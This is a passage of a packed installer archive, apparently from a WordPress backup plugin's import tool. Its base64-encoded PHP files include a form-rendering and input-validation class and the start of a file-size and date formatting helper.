WUgKSApOwoKCQkJCW9iX3N0YXJ0KCk7CgkJCQl3cF9lZGl0b3IoICRpbnB1dFsndmFsdWUnXSwgJHByZWZpeCAuICRuYW1lLCAkd3lzaXd5Z19zZXR0aW5ncyApOwoJCQkJJHJldHVybiAuPSBvYl9nZXRfY29udGVudHMoKTsKCQkJCW9iX2VuZF9jbGVhbigpOwoKCQkJfSBlbHNlaWYgKCAndGl0bGUnID09ICRpbnB1dFsndHlwZSddICkgewoJCQkJLy8gbm8gbG9uZ2VyIHN1cHBvcnRlZCBpbnB1dC4KCQkJfSBlbHNlaWYgKCAnaHRtbCcgPT0gJGlucHV0Wyd0eXBlJ10gKSB7CgoJCQkJJHJldHVybiAuPSAkaW5wdXRbJ2h0bWwnXTsKCgkJCX0gZWxzZWlmICggJ3RleHRhcmVhJyA9PSAkaW5wdXRbJ3R5cGUnXSApIHsKCgkJCQkkcmV0dXJuIC49ICc8dGV4dGFyZWEgbmFtZT0iJyAuICRwcmVmaXggLiAkbmFtZSAuICciIGNsYXNzPSInIC4gJGNsYXNzZXMgLiAnIiBpZD0iJyAuIGVzY19hdHRyKCAkaWQgKSAuICciJyAuICRjc3MgLiAnPicgLiAkaW5wdXRbJ3ZhbHVlJ10gLiAnPC90ZXh0YXJlYT4nOwoKCQkJfSBlbHNlaWYgKCAncGFzc3dvcmQnID09ICRpbnB1dFsndHlwZSddICkgewoKCQkJCS8vIFF1aWNrIGZpeCAtIGVzY19hdHRyIGlzIG5vdCBjYWxsYWJsZSBkdXJpbmcgSU1QT1JUQlVERFkuCgkJCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2VzY19hdHRyJyApICkgewoJCQkJCSRpbnB1dF92YWx1ZSA9IGVzY19hdHRyKCAkaW5wdXRbJ3ZhbHVlJ10gKTsKCQkJCX0gZWxzZSB7CgkJCQkJJGlucHV0X3ZhbHVlID0gJGlucHV0Wyd2YWx1ZSddOwoJCQkJfQoJCQkJJHJldHVybiAuPSAnPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSInIC4gJHByZWZpeCAuICRuYW1lIC4gJyIgdmFsdWU9IicgLiAkaW5wdXRfdmFsdWUgLiAnIiBjbGFzcz0iJyAuICRjbGFzc2VzIC4gJyIgaWQ9IicgLiBlc2NfYXR0ciggJGlkICkgLiAnIicgLiAkY3NzIC4gJz4nOwoKCQkJfSBlbHNlaWYgKCAnc2VsZWN0JyA9PSAkaW5wdXRbJ3R5cGUnXSApIHsKCgkJCQkkcmV0dXJuIC49ICc8c2VsZWN0IG5hbWU9IicgLiAkcHJlZml4IC4gJG5hbWUgLiAnIiBjbGFzcz0iJyAuICRjbGFzc2VzIC4gJyIgaWQ9IicgLiBlc2NfYXR0ciggJGlkICkgLiAnIicgLiAkY3NzIC4gJz4nOwoJCQkJZm9yZWFjaCAoICRpbnB1dFsnb3B0aW9ucyddIGFzICRvcHRpb25fdmFsdWUgPT4gJG9wdGlvbl90aXRsZSApIHsKCQkJCQkkcmV0dXJuIC49ICc8b3B0aW9uIHZhbHVlPSInIC4gJG9wdGlvbl92YWx1ZSAuICciJzsKCQkJCQlpZiAoICRvcHRpb25fdmFsdWUgPT0gJGlucHV0Wyd2YWx1ZSddICkgewoJCQkJCQkkcmV0dXJuIC49ICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7IH0KCQkJCQkkcmV0dXJuIC49ICc+JyAuICRvcHRpb25fdGl0bGUgLiAnPC9vcHRpb24+JzsKCQkJCX0KCQkJCSRyZXR1cm4gLj0gJzwvc2VsZWN0Pic7CgoJCQl9IGVsc2VpZiAoICdyYWRpbycgPT0gJGlucHV0Wyd0eXBlJ10gKSB7CgoJCQkJJHJldHVybiAuPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJyAuICRwcmVmaXggLiAkbmFtZSAuICciIHZhbHVlPSIiPic7IC8vIGRlZmF1bHQgaWYgbm8gcmFkaW8gY2hlY2tlZC4KCgkJCQkkaSA9IDA7CgkJCQlmb3JlYWNoICggJGlucHV0WydvcHRpb25zJ10gYXMgJG9wdGlvbl92YWx1ZSA9PiAkb3B0aW9uX3RpdGxlICkgewoJCQkJCSRpKys7CgkJCQkJJHJhZGlvX2lkID0gJGlkIC4gJ18nIC4gJGk7CgkJCQkJJHJldHVybiAuPSAnPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSInIC4gJHByZWZpeCAuICRuYW1lIC4gJyIgY2xhc3M9IicgLiAkY2xhc3NlcyAuICciIGlkPSInIC4gZXNjX2F0dHIoICRyYWRpb19pZCApIC4gJyIgdmFsdWU9IicgLiAkb3B0aW9uX3ZhbHVlIC4gJyInIC4gJGNzczsKCgkJCQkJaWYgKCAkb3B0aW9uX3ZhbHVlID09ICRpbnB1dFsndmFsdWUnXSApIHsgLy8gQ2hlY2sgaWYgdGhpcyBpdGVtIGlzIHNlbGVjdGVkLgoJCQkJCQkkcmV0dXJuIC49ICcgY2hlY2tlZD0iY2hlY2tlZCInOwoJCQkJCX0KCQkJCQkkcmV0dXJuIC49ICc+ICcgLiAkb3B0aW9uX3RpdGxlOwoJCQkJCWlmICggJGkgPCBjb3VudCggJGlucHV0WydvcHRpb25zJ10gKSApIHsgLy8gc3BhY2VyIGJldHdlZW4gZWFjaCBvbmUuCgkJCQkJCWlmICggJ2hvcml6b250YWwnID09ICRvcmllbnRhdGlvbiApIHsgLy8gSG9yaXpvbmFsIGRpc3BsYXkuCgkJCQkJCQkkcmV0dXJuIC49ICcgJm5ic3A7Jm5ic3A7Jm5ic3A7ICc7CgkJCQkJCX0gZWxzZSB7IC8vIFZlcnRpY2FsIGRpc3BsYXkuCgkJCQkJCQkkcmV0dXJuIC49ICc8YnI+JzsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfSBlbHNlaWYgKCAnY2hlY2tib3gnID09ICRpbnB1dFsndHlwZSddICkgewoJCQkJJHJldHVybiAuPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJyAuICRwcmVmaXggLiAkbmFtZSAuICciIHZhbHVlPSInIC4gJGlucHV0WydvcHRpb25zJ11bJ3VuY2hlY2tlZCddIC4gJyI+JzsKCQkJCSRyZXR1cm4gLj0gJzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iJyAuICRwcmVmaXggLiAkbmFtZSAuICciIGNsYXNzPSInIC4gJGNsYXNzZXMgLiAnIiBpZD0iJyAuIGVzY19hdHRyKCAkaWQgKSAuICciIHZhbHVlPSInIC4gJGlucHV0WydvcHRpb25zJ11bJ2NoZWNrZWQnXSAuICciJyAuICRjc3M7CgkJCQlpZiAoICRpbnB1dFsnb3B0aW9ucyddWydjaGVja2VkJ10gPT0gJGlucHV0Wyd2YWx1ZSddIHx8ICggaXNzZXQoICRpbnB1dFsnZGVmYXVsdCddICkgJiYgJGlucHV0WydvcHRpb25zJ11bJ2NoZWNrZWQnXSA9PSAkaW5wdXRbJ2RlZmF1bHQnXSApICkgewoJCQkJCSRyZXR1cm4gLj0gJyBjaGVja2VkJzsKCQkJCX0KCQkJCSRyZXR1cm4gLj0gJz4nOwoKCQkJfSBlbHNlaWYgKCAnc3VibWl0JyA9PSAkaW5wdXRbJ3R5cGUnXSApIHsKCgkJCQkkc3VibWl0X2lkID0gJGlkIC4gJ18nIC4gc2FuaXRpemVfdGl0bGUoICRpbnB1dFsndmFsdWUnXSApOwoJCQkJJHJldHVybiAuPSAnPGlucHV0IGNsYXNzPSJidXR0b24tcHJpbWFyeSAnIC4gJGNsYXNzZXMgLiAnIiB0eXBlPSJzdWJtaXQiIG5hbWU9IicgLiBlc2NfYXR0ciggJHByZWZpeCAuICRuYW1lICkgLiAnIiB2YWx1ZT0iJyAuIGVzY19hdHRyKCAkaW5wdXRbJ3ZhbHVlJ10gKSAuICciIGlkPSInIC4gZXNjX2F0dHIoICRzdWJtaXRfaWQgKSAuICciJyAuICRjc3MgLiAnPic7CgoJCQl9IGVsc2UgewoKCQkJCSRyZXR1cm4gLj0gJ3tVbmtub3duIGZvcm0gaXRlbSB0eXBlOiBgJyAuICRpbnB1dFsndHlwZSddIC4gJ2AufSc7CgoJCQl9CgoJCQlyZXR1cm4gJHJldHVybjsKCQl9IGVsc2UgewoJCQlyZXR1cm4gJ3tJbnZhbGlkIGZvcm0gZmllbGQ6IGAnIC4gJG5hbWUgLiAnYC59JzsKCQl9CgoJfSAvLyBFbmQgZ2V0KCkuCgoJLyoqCgkgKiBVcGRhdGVzIHRoZSB2YWx1ZSBvZiBhbiBleGlzdGluZyBmb3JtIGl0ZW0uCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbmFtZSAgIE5hbWUgb2YgdGhlIGl0ZW0gaW4gdGhlIGZvcm0gdG8gdXBkYXRlLiBFeDogdGV4dC4KCSAqIEBwYXJhbSBzdHJpbmcgJHZhbHVlICBWYWx1ZSB0byBhcHBseSB0byB0aGUgZm9ybSBpdGVtLgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2V0X3ZhbHVlKCAkbmFtZSwgJHZhbHVlICkgewoJCSR0aGlzLT5faW5wdXRzWyAkbmFtZSBdWyd2YWx1ZSddID0gJHZhbHVlOwoJfSAvLyBFbmQgc2V0X3ZhbHVlKCkuCgoJLyoqCgkgKiBHZXQgdGhlIHN1Ym1pdHRlZCAoUE9TVGVkKSB2YWx1ZSBvZiBhIGZvcm0gaXRlbS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICBOYW1lIC8gc2x1ZyBmb3IgdGhpcyBmb3JtIGl0ZW0uCgkgKgoJICogQHJldHVybiBzdHJpbmd8Ym9vbCAgRmFsc2UgaWYgbm90IGZvdW5kLiBTdHJpcHMgV1Agc2xhc2hlcy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldF92YWx1ZSggJG5hbWUgKSB7CgkJaWYgKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICR0aGlzLT5fcHJlZml4IC4gJG5hbWUgKSAhPSAnJyApIHsgLy8gU3VibWl0dGVkIHZhbHVlIGV4aXN0cywgdXNlIGl0LgoJCQlyZXR1cm4gc3RyaXBzbGFzaGVzX2RlZXAoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJHRoaXMtPl9wcmVmaXggLiAkbmFtZSApICk7CgkJfSBlbHNlIHsgLy8gTm90aGluZyBzdWJtaXR0ZWQsIGZhaWwuCgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9IC8vIEVuZCBnZXRfdmFsdWUoKS4KCgkvKioKCSAqIFRlc3RzIHdoZXRoZXIgYSBmb3JtIGl0ZW0ncyBydWxlcyBvbiBhIHByb3ZpZGVkIHZhbHVlLiBJZiBubyB2YWx1ZSBpcyBwcm92aWRlZCB0aGVuIHdpbGwgdHJ5IHRvIGdldCB0aGUgUE9TVCdlZCB2YWx1ZS4KCSAqCgkgKiBAc2VlIHBiX2JhY2t1cGJ1ZGR5Ojp0ZXN0X3J1bGUoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICBJbnB1dC9GaWVsZCBOYW1lLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIE9wdGlvbmFsOiBUaGlzIHdpbGwgYmUgdGVzdGVkIHdpdGggdGhlIHJ1bGUgYXNzaWduZWQgdG8gdGhlIGZvcm0gaXRlbSB3aXRoIHRoZSBwcm92aWRlZCBuYW1lLgoJICogICAgICAgICAgICAgICAgICAgICAgIElmIGVtcHR5IHdlIHdpbGwgdHJ5IHRvIHRlc3QgYmFzZWQgb24gYSBzdWJtaXR0ZWQgcG9zdCB2YWx1ZSBpZiBpdCBleGlzdHMuCgkgKgoJICogQHJldHVybiB0cnVlfGFycmF5ICBUcnVlIGlmIHRoZSB2YWx1ZSBwYXNzZXM7IGFycmF5IG9mIGVycm9yIG1lc3NhZ2VzIG9uIGZhaWx1cmUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiB0ZXN0KCAkbmFtZSwgJHZhbHVlID0gJycgKSB7CgkJaWYgKCAnJyA9PSAkdmFsdWUgKSB7IC8vIE5vIHZhbHVlLCB0cnkgdG8gZ2V0IGl0LgoJCQlpZiAoICcnICE9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJHRoaXMtPl9wcmVmaXggLiAkbmFtZSApICkgeyAvLyBTdWJtaXR0ZWQgdmFsdWUgZXhpc3RzLCB1c2UgaXQuCgkJCQkkdmFsdWUgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICR0aGlzLT5fcHJlZml4IC4gJG5hbWUgKTsKCQkJfQoJCX0KCgkJaWYgKCBpc3NldCggJHRoaXMtPl9pbnB1dHNbICRuYW1lIF1bJ3J1bGVzJ10gKSApIHsKCQkJcmV0dXJuIHNlbGY6OnRlc3RfcnVsZSggJHRoaXMtPl9pbnB1dHNbICRuYW1lIF1bJ3J1bGVzJ10sICR2YWx1ZSApOwoJCX0gZWxzZSB7IC8vIE5vIHRlc3RzLiBQYXNzZWQuCgkJCXJldHVybiB0cnVlOwoJCX0KCX0gLy8gRW5kIHRlc3QoKS4KCgkvKioKCSAqIFRlc3RzIGEgcHJvdmlkZWQgcnVsZXNldCBhZ2FpbnN0IGEgdmFsdWUgdG8gdmVyaWZ5IHdoZXRoZXIgaXQgY29tcGxpZXMgb3Igbm90LgoJICoKCSAqIEBhdXRob3IgRGFuIEhhcnpoZWltCgkgKiBAc2VlIHBsdWdpbmJ1ZGR5X2Zvcm0tPnRlc3QoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHJ1bGVzZXQgIFJ1bGUocykgdG8gdmFsaWRhdGUgYWdhaW5zdC4gU2VlIGNvZGV4IGZvciBkZXRhaWxzLiBUT0RPOiBkb2N1bWVudCBydWxlc2V0cyBoZXJlLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgICAgVmFsdWUgdG8gdmFsaWRhdGUuCgkgKgoJICogQHJldHVybiB0cnVlfGFycmF5ICBUcnVlIG9uIHN1Y2Nlc3M7IGFycmF5IG9mIGVycm9yKHMpIGVuY291bnRlcmVkIG9uIGZhaWx1cmUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiB0ZXN0X3J1bGUoICRydWxlc2V0LCAkdmFsdWUgKSB7CgkJJGVycm9ycyA9IGFycmF5KCk7CgkJaWYgKCAnJyA9PSAkcnVsZXNldCApIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoKCQkkcnVsZXMgPSBleHBsb2RlKCAnfCcsICRydWxlc2V0ICk7IC8vIENyZWF0ZSBhcnJheSBvZiBydWxlcy4KCQlmb3JlYWNoICggJHJ1bGVzIGFzICRydWxlICkgeyAvLyBJdGVyYXRlIHRocm91Z2ggZWFjaCBydWxlLgoKCQkJLy8gKioqKiogR0VUIFJVTEUgVFlQRSAqKioqKgoJCQkvLyBHcmFiIHRoZSB0eXBlIG9mIHRoZSBydWxlOyBleDogc3RyaW5nLCBpbnQsIHNldCwgZXRjIHZpYSByZWdleC4KCQkJJHJ1bGVfdHlwZV9wb3MgPSBzdHJwb3MoICRydWxlLCAnWycgKTsKCgkJCWlmICggZmFsc2UgPT09ICRydWxlX3R5cGVfcG9zICkgewoJCQkJJHJ1bGVfdHlwZSA9ICRydWxlOwoJCQl9IGVsc2UgewoJCQkJJHJ1bGVfdHlwZSA9IHN1YnN0ciggJHJ1bGUsIDAsICRydWxlX3R5cGVfcG9zICk7CgkJCX0KCgkJCS8qKgoJCQkgKiBSRVFVSVJFRAoJCQkgKgoJCQkgKiBSdWxlIGlzIHJlcXVpcmVkLgoJCQkgKiBGYWlsIGlmICR2YWx1ZSBpcyBlbXB0eS4KCQkJICogaWYgZmFpbHM6ICAkZXJyb3JzW10gPSAnVmFsdWUgaXMgbm90IGEgc3RyaW5nLic7CgkJCSAqLwoJCQlpZiAoICdyZXF1aXJlZCcgPT0gJHJ1bGVfdHlwZSApIHsgLy8gUmVxdWlyZWQgcnVsZS4KCQkJCWlmICggJycgPT0gJHZhbHVlICkgewoJCQkJCSRlcnJvcnNbXSA9ICdUaGlzIHZhbHVlIGlzIHJlcXVpcmVkLic7CgkJCQkJcmV0dXJuICRlcnJvcnM7IC8vIE5vIG1vcmUgY2hlY2tpbmcgaWYgbGVmdCBibGFuay4KCQkJCX0KCgkJCQkvKioKCQkJCSAqIFNUUklORwoJCQkJICoKCQkJCSAqIENoZWNrIHRvIG1ha2Ugc3VyZSB0aGF0IHRoZSBzdHJpbmcgaXMgdGhlIGFwcHJvcHJpYXRlIGxlbmd0aC4KCQkJCSAqLwoJCQl9IGVsc2VpZiAoICdzdHJpbmcnID09ICRydWxlX3R5cGUgKSB7IC8vIFN0cmluZyBydWxlLgoJCQkJJHN1YnJ1bGUgICAgPSBzdHJzdHIoICRydWxlLCAnWycgKTsKCQkJCSRoeXBoZW5fcG9zID0gc3RycG9zKCAkc3VicnVsZSwgJy0nICk7CgkJCQlpZiAoICcnICE9ICRoeXBoZW5fcG9zICkgewoJCQkJCSRmaXJzdF9udW1iZXIgID0gc3Vic3RyKCAkc3VicnVsZSwgMSwgJGh5cGhlbl9wb3MgLSAxICk7CgkJCQkJJHNlY29uZF9udW1iZXIgPSBzdWJzdHIoICRzdWJydWxlLCAkaHlwaGVuX3BvcyArIDEsIC0xICk7CgkJCQkJJHZhbF9sZW5ndGggICAgPSBzdHJsZW4oICR2YWx1ZSApOwoJCQkJCWlmICggJHZhbF9sZW5ndGggPCAkZmlyc3RfbnVtYmVyIHx8ICR2YWxfbGVuZ3RoID4gJHNlY29uZF9udW1iZXIgKSB7CgkJCQkJCSRlcnJvcnNbXSA9ICdMZW5ndGggb2YgdmFsdWUgYCcgLiBodG1sZW50aXRpZXMoICR2YWx1ZSApIC4gJ2AgaXMgaW52YWxpZC4nOwoJCQkJCX0KCQkJCX0KCgkJCQkvKioKCQkJCSAqIElOVCBUWVBFCgkJCQkgKgoJCQkJICogTWFrZSBzdXJlIHRoYXQgdGhlIHZhbHVlIGZpdHMgaW5zaWRlIG9mIGJvdW5kcwoJCQkJICogTWFrZSBzdXJlIGl0IGRvZXNuJ3QgaW5jbHVkZSBhIGRlY2ltYWwKCQkJCSAqIEFjY2VwdHMgYmxhbmsgdmFsdWUKCQkJCSAqLwoJCQl9IGVsc2VpZiAoICdpbnQnID09ICRydWxlX3R5cGUgKSB7CgkJCQlpZiAoICcnICE9ICR2YWx1ZSApIHsKCQkJCQlpZiAoICEgaXNfbnVtZXJpYyggJHZhbHVlICkgfHwgc3RycG9zKCAkdmFsdWUsICcuJyApICE9PSBmYWxzZSApIHsKCQkJCQkJJGVycm9yc1tdID0gJ2AnIC4gaHRtbGVudGl0aWVzKCAkdmFsdWUgKSAuICdgIGlzIG5vdCBhIHZhbGlkIG51bWJlci4nOwoJCQkJCX0gZWxzZSB7CgkJCQkJCQkkc3VicnVsZSAgICA9IHN0cnN0ciggJHJ1bGUsICdbJyApOwoJCQkJCQkJJGh5cGhlbl9wb3MgPSBzdHJwb3MoICRzdWJydWxlLCAnLScgKTsKCQkJCQkJaWYgKCAnJyAhPSAkaHlwaGVuX3BvcyApIHsKCQkJCQkJCSRmaXJzdF9udW1iZXIgID0gc3Vic3RyKCAkc3VicnVsZSwgMSwgJGh5cGhlbl9wb3MgLSAxICk7CgkJCQkJCQkkc2Vjb25kX251bWJlciA9IHN1YnN0ciggJHN1YnJ1bGUsICRoeXBoZW5fcG9zICsgMSwgLTEgKTsKCQkJCQkJCWlmICggJHZhbHVlIDwgJGZpcnN0X251bWJlciB8fCAkdmFsdWUgPiAkc2Vjb25kX251bWJlciApIHsKCQkJCQkJCQkkZXJyb3JzW10gPSAnVmFsdWUgYCcgLiBodG1sZW50aXRpZXMoICR2YWx1ZSApIC4gJ2AgaXMgb3V0c2lkZSBvZiB0aGUgc2V0IGJvdW5kcy4nOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoKCQkJCS8qKgoJCQkJICogRU1BSUwgVFlQRQoJCQkJICoKCQkJCSAqIFZhbGlkYXRlIHRvIG1ha2Ugc3VyZSB0aGUgZS1tYWlsIGFkZHJlc3MgaXMgYWN0dWFsbHkgYW4gZS1tYWlsIGFkZHJlc3MuCgkJCQkgKi8KCQkJfSBlbHNlaWYgKCAnZW1haWwnID09ICRydWxlX3R5cGUgKSB7CgkJCQlpZiAoICcnICE9ICR2YWx1ZSApIHsKCQkJCQkvLyBUT0RPOiBBZGQgY3VzdG9tIGNhbGxiYWNrIGZ1bmN0aW9uYWxpdHkgaGVyZS4KCQkJCQlpZiAoICEgZmlsdGVyX3ZhciggJHZhbHVlLCBGSUxURVJfVkFMSURBVEVfRU1BSUwgKSApIHsKCQkJCQkJJGVycm9yc1tdID0gJ1ZhbHVlIGAnIC4gaHRtbGVudGl0aWVzKCAkdmFsdWUgKSAuICdgIGlzIG5vdCBhIHZhbGlkIGUtbWFpbCBhZGRyZXNzLic7CgkJCQkJfQoJCQkJfQoKCQkJCS8qKgoJCQkJICogU0VUIFRZUEUKCQkJCSAqCgkJCQkgKiBNYWtlIHN1cmUgdGhhdCAkdmFsdWUgZmFsbHMgaW50byBvbmUgb2YgdGhlIHR5cGVzLgoJCQkJICovCgkJCX0gZWxzZWlmICggJ3NldCcgPT0gJHJ1bGVfdHlwZSApIHsKCQkJCS8vIHNldFtzdHJpbmcsc3RyaW5nLHN0cmluZyxdLgoJCQkJJGlzX3RoZXJlICA9IGZhbHNlOwoJCQkJJHN1YnN0cmluZyA9IHN0cnN0ciggJHJ1bGUsICdbJyApOwoJCQkJJHN1YnN0cmluZyA9IHN1YnN0ciggJHN1YnN0cmluZywgJHN1YnN0cmluZyArIDEsICRzdWJzdHJpbmcgLSAxICk7CgkJCQkkcGFydHMgICAgID0gZXhwbG9kZSggJywnLCAkc3Vic3RyaW5nICk7CgkJCQlmb3JlYWNoICggJHBhcnRzIGFzICRwYXJ0ICkgewoJCQkJCWlmICggJHZhbHVlID09ICRwYXJ0ICkgewoJCQkJCQkkaXNfdGhlcmUgPSB0cnVlOwoJCQkJCX0KCQkJCX0KCQkJCWlmICggZmFsc2UgPT0gJGlzX3RoZXJlICkgewoJCQkJCSRlcnJvcnNbXSA9ICdWYWx1ZSBgJyAuIGh0bWxlbnRpdGllcyggJHZhbHVlICkgLiAnYCBpcyBub3QgYSB2YWxpZCB2YWx1ZS4nOwoJCQkJfQoKCQkJCS8qKgoJCQkJICogTlVNIFRZUEUKCQkJCSAqCgkJCQkgKiBNYWtlIHN1cmUgdGhhdCAkdmFsdWUgaXMgbnVtZXJpYywgaWYgc28sIG1ha2Ugc3VyZSBpdCBmaXRzIGluc2lkZSBvZiBib3VuZHMKCQkJCSAqLwoJCQl9IGVsc2VpZiAoICdudW1iZXInID09ICRydWxlX3R5cGUgKSB7CgkJCQlpZiAoICcnICE9ICR2YWx1ZSApIHsKCQkJCQlpZiAoICEgaXNfbnVtZXJpYyggJHZhbHVlICkgKSB7CgkJCQkJCSRlcnJvcnNbXSA9ICR2YWx1ZSAuICcgaXMgbm90IGEgbnVtYmVyLic7CgkJCQkJfQoJCQkJCSRzdWJydWxlICAgID0gc3Ryc3RyKCAkcnVsZSwgJ1snICk7CgkJCQkJJGh5cGhlbl9wb3MgPSBzdHJwb3MoICRzdWJydWxlLCAnLScgKTsKCQkJCQlpZiAoICcnICE9ICRoeXBoZW5fcG9zICkgewoJCQkJCQkkZmlyc3RfbnVtYmVyICA9IHN1YnN0ciggJHN1YnJ1bGUsIDEsICRoeXBoZW5fcG9zIC0gMSApOwoJCQkJCQkkc2Vjb25kX251bWJlciA9IHN1YnN0ciggJHN1YnJ1bGUsICRoeXBoZW5fcG9zICsgMSwgLTEgKTsKCQkJCQkJaWYgKCAkdmFsdWUgPCAkZmlyc3RfbnVtYmVyIHx8ICR2YWx1ZSA+ICRzZWNvbmRfbnVtYmVyICkgewoJCQkJCQkJJGVycm9yc1tdID0gJ1ZhbHVlIGAnIC4gaHRtbGVudGl0aWVzKCAkdmFsdWUgKSAuICdgIGlzIG91dHNpZGUgb2YgdGhlIHNldCBib3VuZHMuJzsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfSBlbHNlIHsKCQkJCS8vIFRPRE86IEFkZCBjdXN0b20gY2FsbGJhY2sgZnVuY3Rpb25hbGl0eSBoZXJlLgoJCQkJLy8gVW5rbm93biBydWxlIHNvIG5vdGlmeSB0aGUgZGV2ZWxvcGVyLgoJCQkJJGVycm9yc1tdID0gJ3tFcnJvciAjNTQ1ODkuIFVua25vd24gcnVsZSBgJyAuICRydWxlX3R5cGUgLiAnYC59JzsKCQkJfQoJCX0KCgkJaWYgKCBjb3VudCggJGVycm9ycyApID09PSAwICkgeyAvLyBObyBlcnJvcnM7IHN1Y2Nlc3MhCgkJCXJldHVybiB0cnVlOwoJCX0gZWxzZSB7IC8vIE9uZSBvciBtb3JlIGVycm9ycyBlbmNvdW50ZXJlZDsgcmV0dXJuIGFycmF5IG9mIGVycm9ycy4KCQkJcmV0dXJuICRlcnJvcnM7CgkJfQoJfSAvLyBFbmQgdGVzdF9ydWxlKCkuCgoJLyoqCgkgKiBDbGVhcnMgdGhlIHZhbHVlIG9mIGFsbCBmb3JtIGl0ZW1zIHNldHRpbmcgdGhlIHZhbHVlIHRvIGFuIGVtcHR5IHN0cmluZyAnJy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGNsZWFyX3ZhbHVlcygpIHsKCQlmb3JlYWNoICggJHRoaXMtPl9pbnB1dHMgYXMgJiRpbnB1dCApIHsKCQkJJGlucHV0Wyd2YWx1ZSddID0gJyc7CgoJCX0KCX0gLy8gRW5kIGNsZWFyX3ZhbHVlcygpLgoKfSAvLyBFbmQgY2xhc3MgcGx1Z2luYnVkZHlfZm9ybQo=
###PACKDATA,FILE_END,/pluginbuddy/classes/form.php,importbuddy/pluginbuddy/classes/form.php
###PACKDATA,FILE_START,/pluginbuddy/classes/format.php,importbuddy/pluginbuddy/classes/format.php
PD9waHAKCgoKLyoJY2xhc3MgcGx1Z2luYnVkZHlfZm9ybWF0CiAqCUBhdXRob3IgRHVzdGluIEJvbHRvbgogKgogKglIZWxwcyBmb3JtYXQgY29udGVudCBvciBkYXRhIHN1Y2ggYXMgdGltZSwgZGF0ZSwgZmlsZSBzaXplLCBldGMuCiAqLwpjbGFzcyBwYl9iYWNrdXBidWRkeV9mb3JtYXQgewoKCgoJLy8gKioqKioqKioqKiBQVUJMSUMgUFJPUEVSVElFUyAqKioqKioqKioqCgoKCgkvLyAqKioqKioqKioqIFBSSVZBVEUgUFJPUEVSVElFUyAqKioqKioqKioqCglwcml2YXRlICRfdGltZXN0YW1wID0gJ00gaiwgWSBnOmk6cyBhJzsKCgoJLy8gKioqKioqKioqKiBGVU5DVElPTlMgKioqKioqKioqKgoKCgoJLyoJcGx1Z2luYnVkZHlfZm9ybWF0LT5fX2NvbnN0cnVjdCgpCgkgKgoJICoJRGVmYXVsdCBjb25zdHJ1Y3Rvci4KCSAqCgkgKglAcmV0dXJuCQludWxsCgkgKi8KCWZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewoJfSAvLyBFbmQgX19jb25zdHJ1Y3QoKS4KCgoKCS8qCXBsdWdpbmJ1ZGR5X2Zvcm1hdC0+ZmlsZV9zaXplKCkKCSAqCgkgKglUYWtlcyBhIGZpbGUgc2l6ZSBpbiBieXRlcyBhbmQgdHJhbnNmb3JtcyBpdCBpbnRvIGEgaHVtYW4gcmVhZGFibGUgZm9ybWF0IHdpdGggbW9yZSBmcmllbmRseSB1bml0cy4gRGVjaWRlcyBvbiB1bml0IGJhc2VkIG9uIHRoZSBzaXplLgoJICoKCSAqCUBwYXJhbQkJaW50CQkkc2l6ZQlGaWxlIHNpemUuCgkgKglAcmV0dXJuCQlzdHJpbmcJCQlIdW1hbiBmb3JtYXR0ZWQgZnJpZW5kbHkgcmVhZGFibGUgZm9ybWF0LgoJICovCglmdW5jdGlvbiBmaWxlX3NpemUoICRzaXplICkgewoJCSRzaXplcyA9IGFycmF5KCAnIEJ5dGVzJywgJyBLQicsICcgTUInLCAnIEdCJywgJyBUQicsICcgUEInLCAnIEVCJywgJyBaQicsICcgWUInKTsKCQlpZiAoICRzaXplID09IDAgKSB7CgkJCXJldHVybiggJzAgTUInICk7CgkJfSBlbHNlIHsKCQkJcmV0dXJuICggcm91bmQoICRzaXplIC8gcG93KCAxMDI0LCAoICRpID0gZmxvb3IoIGxvZyggJHNpemUsIDEwMjQgKSApICkgKSwgJGkgPiAxID8gMiA6IDApIC4gJHNpemVzWyRpXSApOwoJCX0KCX0gLy8gRW5kIGZpbGVfc2l6ZSgpLgoKCgoJLyoJcGx1Z2luYnVkZHlfZm9ybWF0LT5kYXRlKCkKCSAqCgkgKglGb3JtYXRzIGEgdGltZXN0YW1wIGludG8gYSBuaWNlIGh1bWFuIGRhdGUgZm9ybWF0LgoJICoKCSAqCUBwYXJhbQkJaW50CQkkdGltZXN0YW1wCQlUaW1lc3RhbXAgdG8gbWFrZSBwcmV0dHkuCgkgKglAcGFyYW0JCXN0cmluZwkkY3VzdG9tRm9ybWF0CUN1c3RvbSB0aW1lc3RhbXAgZm9ybWF0LiBFbHNlIHVzZXMgJHRoaXMtPl90aW1lc3RhbXAgZGVmaW5lZCBhdCB0b3Agb2YgdGhpcyBmaWxlLgoJICoJQHJldHVybgkJc3RyaW5nCQkJCQlQcmV0dHkgaHVtYW4gdGltZXN0YW1wLgoJICovCglmdW5jdGlvbiBkYXRlKCAkdGltZXN0YW1wLCAkY3VzdG9tRm9ybWF0ID0gJycgKSB7CgkJaWYgKCAnJyA9PSAkY3VzdG9tRm9ybWF0ICkgewoJCQlyZXR1cm4gZ